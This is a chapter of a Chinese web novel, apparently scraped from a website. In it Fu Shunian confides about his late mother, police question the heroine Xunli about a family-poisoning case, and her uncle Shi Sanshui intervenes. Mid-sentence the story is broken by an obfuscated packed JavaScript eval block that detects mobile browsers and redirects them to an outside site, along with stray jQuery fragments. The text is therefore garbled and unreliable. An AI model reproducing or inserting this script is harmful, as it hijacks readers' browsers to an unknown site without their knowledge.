“在苏州，我是苏州人。”


    寻理满意了，“要是厂子开在杭城，你不帮忙他们也能借你光，怎么不再离远点呢。”


    傅叔年眼中有了些许笑意，很快又被黯然所取代：“我考大学的时候姨娘还在，结果还没等我入学她就去世了。”


    “那她对你肯定很好，胡婶子这样的......我挺不喜欢的，可怜又可恨。”


    “我姨娘不是自愿做妾的，”傅叔年眼中有了悲伤，“她有一手好厨艺，是太太娘家的厨娘，被太太带到了傅家，原本她与她表哥定了亲，太太承诺等她到了年岁就放她回家成亲。”


    寻理愣了一下，“你爹可真不是东西。”


    这些事说多了是揭人伤口，寻理转了话题：“傅大哥，过去的就让它过去吧，以后往前看，你今天来找我是有什么事吗？”


    傅叔年摇摇头：“小蝶和我说她最近忙，让我多来看看你，看你有没有什么需要帮忙的地方。”


    “这样呀，”寻理笑道：“谢谢你的关心，对了，小蝶和你说没说，我要回老家一趟，初一就出发，接下来就不用麻烦你过来啦~”


    傅叔年有些意外：“她没和我说，时间会不会有点赶？需要我帮你买票吗？”


    “不用啦，我自己可以。”寻理想起当时胡乱编的借口，笑道：“我妈妈他们会一起，我们在武汉汇合，我正好会会她的新男友，看看靠谱不靠谱。”


    傅叔年又沉默了，好一会儿才开口道：“寻理，别为了自己的喜好去干涉你妈妈的选择，万一……”


    见寻理脸上有些不服气，他苦笑道：“我曾经做过跟你一样的事，我很后悔。”


    “我五岁的时候姨娘带我见过曾经与她定亲的表哥，表叔说要带我们一起走，我妈妈问我愿不愿意……”


    “那时候我不愿意，一个劲哭，姨娘就带我回家了。后来她没提过这件事，但我知道她不快乐，我考上军校她觉得我未来有了着落，很快就病倒，没两天就去世了。”


    “如果没有我，她一定就跟着她表哥走了，如果我懂事一点，她也能走，偏偏我不是东西误了她一生。”


    这下轮到寻理沉默了，想了想她开口道：“傅大哥，你娘已经不在了，我无意冒犯，但有些话不吐不快。”


    “你当年才五岁，而你娘是个成人，她比你更有思考能力和做决定的能力，她不如意的一生，可以怪你父亲，可以怪自己当初做错了选择，但怎么也不该怪你，我想她肯定也是这么想的，你不要太过自责。”


    傅叔年有些理解穆蝶为什么喜欢寻理了，这个女孩看似行事莽撞但实际十分善解人意。


    这件往事是傅叔年心中的一根刺，他以前把它当做听来的故事讲与友人听，有的人性子保守，夸姨娘不走是坚贞守妇道；有的人开明，为她的留下感到可惜。


    只有寻理从理性的角度告诉他，成年人比孩子更具做决定的能力，傅叔年心中浮现一个念头：我果然是一个卑劣的人，执着多年不过是想让别人来为自己脱罪。


    但确实只有寻理的应答能让他获得一点良心上的安抚，于是他笑了笑：“你比我更明白事理，我的担心是多余的。”


    寻理道：“谢谢傅大哥的关心！我会见机行事的！”


    傅叔年倒上酒举碗道：“祝你一路顺风。”


    祝福是美好的，现实是波折的，寻理的返乡之行刚准备启程便遭遇意外——初一上午，她收拾好行李准备出发，结果被人堵在了家门口。


    “胡小芳是不是躲在你这？”一身黑皮的警长凶神恶煞地拿着警棍指向寻理，“拿着行李这是准备跑路？”


    寻理皱着眉还没开口，警长旁边的巡警先腿软了——这是在咖啡馆被寻理暴揍过的巡警之一。


    “老大，这人来头不小，”巡警扒拉住警长，附到他耳边小声道：“她是傅队长的女友，她叔叔是调查队的石组长！”


    警长傻眼了，瞪巡警一眼：“你不早说！”


    他立马收了警棍面向寻理换上谄媚的笑：“咳咳，石小姐，耽误您一点点时间，是这样的，有件凶案需要跟您了解一点情况。”


    “胡小芳怎么了？胡家出什么事了？”寻理把手里的皮箱放到地上，皱着眉询问。


    警长眼神变了，“你知道？”


    “.…..你刚刚上来就问我胡小芳怎么了，脑子没睡清醒吗？”寻理看看手表没了耐心，“我赶时间，有事快说。”


    “看我这脑子，忙得人都不清醒了。”警长赔笑着跟寻理讲了来意。


    大年二十八晚上胡家大小姐的未婚夫家里久等不回儿子，派人去胡家找，敲门没人应，破门进去后发现一个活口都没有——胡老爷胡太太和他们的一双儿女，胡婶子和胡小菲以及那位上门拜访的大小姐的准未婚夫，全被毒死了！


    找遍全屋只不见胡小芳，活不见人死不见尸，凶手的嫌疑自然指向了她。


    “不是说胡家老爷太太抽大烟把家产都抽没了？都靠小妾带着女儿出来浣洗衣物为生了，怎么还有财物丢失？”寻理打断警长的话。


    警长解释道：“胡家以前家资丰厚，现在略剩一些薄产也正常，我们是根据他们亲戚、亲家的口供以及对家里进行勘测后得出的推测，胡小芳毒害全家后携财潜逃。”


    警长感觉自己好苦命，临近除夕辖区出现灭门惨案，影响过于恶劣，外加胡家的准亲家——那位一同被毒死的未婚夫家里有亲戚在政府当官，上面让他尽快把凶手缉拿归案。


    凶手倒很好锁定，摆明了胡小芳，但抓人……勘测发现胡家众人是中午吃饭被毒死的，晚上才被发现，一下午时间谁知道胡小芳跑哪去了！


    胡小芳人际关系极其简单，平日里都是跟着她姐姐同出同进，只事发当天上午单独来过寻理家，警长得了消息赶紧带人过来搜查，哪知道又是一个惹不起的角色，警长看寻理神情越发不好，连忙解释：“我们得了消息例行过来询问，您见谅。”


    要是正常的询问寻理自然不会介意，可这黑皮警长前倨后恭的态度让她不喜，“那你现在问完了，我可以走了吧？”


    寻理开始锁门，警长一时有些踌躇，小心翼翼道：“案发前胡小芳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222933|155780||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来找您，有跟您说什么吗？”


    见寻理停下动作看过来，他连忙道：“我当然知道这事跟您没有关系，只是想看看有没有什么线索，大过年的出了这样的惨事，尽快找到线索抓到凶手也好告慰胡家众人以及无辜之人的在天之灵是吧。”


    寻理有些意外，五大三粗的人礼貌起来原来说话也可以这么有逻辑，她锁好门后开口道：“胡婶子带她两个女儿来给我打扫卫生，我说过完年给她两个女儿介绍工作，胡小芳当时是来跟我说，胡家给她定了亲，不用我给她介绍工作了。”


    警长还专心听着呢，结果见寻理提起皮箱准备走了，顿时有些傻眼：“然后呢？”


    “然后她就走了呗。”寻理白他一眼，“胡小芳走后傅叔年过来看我，我还跟他讲了这个事的，你们要不信可以去问他。”


    见警长带人堵在前面，寻理冷声道：“我跟胡小芳不过见了两面，还没熟到掺和这种事。让开，我赶时间。”


    警长本来想再问问，还没开口一道不悦的声音从后面响起：“你们想干什么？”


    寻理闻声抬头望去，有些意外道：“三水叔，你忙完了？”


    昨天寻理还特意去给石三水拜年，结果家里没人，没想到他这个时候过来了。


    石三水上前扒拉开警长和他带来的巡警，上下打量寻理一眼：“你没事吧？”


    寻理横了旁边几人一眼，“你要是没来，我估计就得有事了！”


    “石组长，误会，都是误会！”警长哈腰赔笑，“只是了解点情况。”


    石三水听寻理三言两语讲完了事由，对着警长不耐道：“滚蛋，雇她打扫一次屋子已经够晦气了，能有什么其他关系。你要查不明白报到调查队去，我安排人给你查。”


    “不敢劳您操心，我们这就走。”警长见石三水发飙，立马带着人跑路了。


    寻理无语，“看来我还是态度太好了。”


    石三水看眼她手里的皮箱，“这种人不能给他们好脸色。你要去哪？上海？金陵？”


    “去山城，哎哟喂耽误了这么久，三水叔，等我回来再招待您，这会我得抓紧了。”寻理看看时间，脸上有了几分急切。


    “这个时间你去山城干嘛？这么远，开学赶得回来吗？”


    “我老家山城的，这时候回去当然是祭祖，开学赶不回来请假呗。”寻理说完便准备出发了。


    石三水拉住她的皮箱，“急什么急，我车停在巷口，捎你过去。你一个人回山城？”


    “在武汉跟我妈他们汇合。”寻理听到有车立马不急了，跟他一起慢慢往巷子外走去：“这边巷子宽，下次可以直接开到我家门口。”


    石三水睨她一眼，“准备跟你说两句话就走的，进来掉头也麻烦。”


    “等会有什么事吗？”寻理问道：“要是急，我自己过去也还来得及。”


    “不碍事，我本来也是去火车站。”


    “大过年的还要出公差啊？真辛苦！”寻理摇摇头，“去哪？上海吗？”


    “跟你一样，去山城。”石三水笑了笑。